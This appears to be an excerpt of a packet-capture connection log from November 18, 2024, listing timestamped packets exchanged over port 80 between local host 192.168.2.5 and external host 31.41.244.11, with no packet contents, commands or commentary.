Nov 18, 2024 19:04:10.593236923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.593254089 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.593290091 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.593319893 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.594321966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.594338894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.594355106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.594372988 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.594404936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.594404936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.677253008 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.677320004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.677629948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.677645922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.677684069 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.677716017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.678281069 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.678297997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.678337097 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.678368092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.678654909 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.678672075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.678706884 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.678759098 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.679517984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.679537058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.679550886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.679575920 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.679608107 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.705173016 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.705368996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.705385923 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.705519915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.705519915 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.706063032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.706082106 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.706131935 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.706166029 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.707036018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.707053900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.707097054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.707097054 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.708131075 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.708148003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.708185911 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.708219051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.709233999 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.709252119 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.709264994 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.709295034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.709325075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.710330963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.710349083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.710386992 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.710417032 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.711409092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.711426973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.711471081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.711471081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.747427940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.747512102 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.747718096 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.747735977 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.747771025 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.747807980 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.796325922 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.796547890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.796571970 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.796596050 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.796650887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.796650887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.797547102 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.797563076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.797717094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.797718048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.798377037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.798393965 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.798563004 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.799359083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.799375057 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.799424887 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.799458981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.800394058 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.800450087 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.824179888 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.824379921 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.824383020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.824471951 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.824493885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.824717999 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.825038910 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.825053930 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.825200081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.825200081 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.826189995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.826205015 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.826251984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.826251984 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.827002048 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.827018023 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.827064991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.827064991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.828074932 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.828090906 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.828104019 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.828135967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.828135967 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.828171968 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.829169035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.829185009 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.829226017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.829257011 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.830275059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.830291986 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.830341101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.872807026 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.873014927 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.873047113 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.873061895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.873099089 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.873138905 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.916634083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.916841984 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.916882992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.917139053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.917139053 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.917826891 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.918088913 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.918103933 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.918159962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.918159962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.919194937 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.919212103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.919225931 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.919253111 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.919285059 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.920268059 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.920291901 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.920346975 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.921346903 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.921363115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.921417952 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.943173885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.943434954 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.943628073 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.943938971 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.943955898 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.944099903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.944925070 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.944940090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.944992065 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.946023941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.946041107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.946105957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.946105957 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.947148085 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.947165966 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.947180033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.947215080 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.947241068 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.948266983 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.948291063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.948339939 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.949558020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.949583054 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.949634075 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:10.985095024 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.985239029 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.985255003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:10.985501051 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.036132097 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.036236048 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.036370993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.036391020 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.036417007 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.036439896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.037394047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.037410975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.037453890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.038387060 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.038403988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.038438082 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.038460970 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.039460897 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.039479017 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.039494038 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.039509058 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.039534092 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.062129974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.062202930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.062303066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.062316895 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.062355042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.062387943 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.062989950 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.063007116 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.063049078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.063049078 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.064114094 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.064131975 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.064177990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.064177990 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.065148115 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.065165043 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.065180063 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.065208912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.065208912 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.065242052 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.065932035 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.065948963 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.065996885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.065996885 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.066999912 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.067017078 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.067055941 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.067087889 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.068213940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.068229914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.068259001 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.068290949 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.069225073 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.069242001 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.069257021 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.069283962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.069283962 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.069313049 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.103480101 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.103559017 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.103702068 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.103718996 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.103866100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.103866100 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.154386997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.154403925 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.154582024 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.155467987 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.155524015 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.155550003 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.155601978 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.156065941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.156080961 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.156121016 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.156152964 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.157191992 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.157210112 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.157223940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.157260895 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.157290936 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.158251047 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.158268929 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.158340931 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.159331083 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.159348011 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.159413099 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.181674957 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.181691885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.181706905 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.181742907 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.181772947 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.182547092 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.182563066 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.182612896 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.183372974 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.183388948 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.183435917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.184093952 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.184108973 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.184154034 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.184185028 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.184842110 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.184859037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.184925079 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.185945988 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.185964108 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.186031103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.186031103 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.187089920 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.187105894 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.187120914 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.187166929 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.187202930 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.188050032 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.188091993 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.188107014 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.188133955 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.188163042 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.222536087 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.222657919 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.222702980 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.222726107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.222752094 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.222786903 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.272492886 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.272563934 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.272618055 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.272633076 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.272675991 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.272994995 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.273042917 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.273463964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.273662090 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.273679972 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.273683071 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.273756981 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.274307013 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.274323940 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.274374008 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.274425030 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.274919033 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.274935007 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.274969101 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.275000095 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.275557041 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.275614977 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.299957037 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.300019979 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.300146103 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.300160885 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.300216913 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.300945997 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.300961018 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.301027060 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.301659107 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.301671982 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.301687002 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.301750898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.301750898 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.304713964 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.304729939 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.304757118 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.304771900 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.304785967 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.304790020 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.304801941 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.304806948 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.304817915 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.304833889 CET	80	49977	31.41.244.11	192.168.2.5
Nov 18, 2024 19:04:11.304847956 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.304869890 CET	49977	80	192.168.2.5	31.41.244.11
Nov 18, 2024 19:04:11.305413961 CET	80	49977	31.41.244.11	192.168.2.5
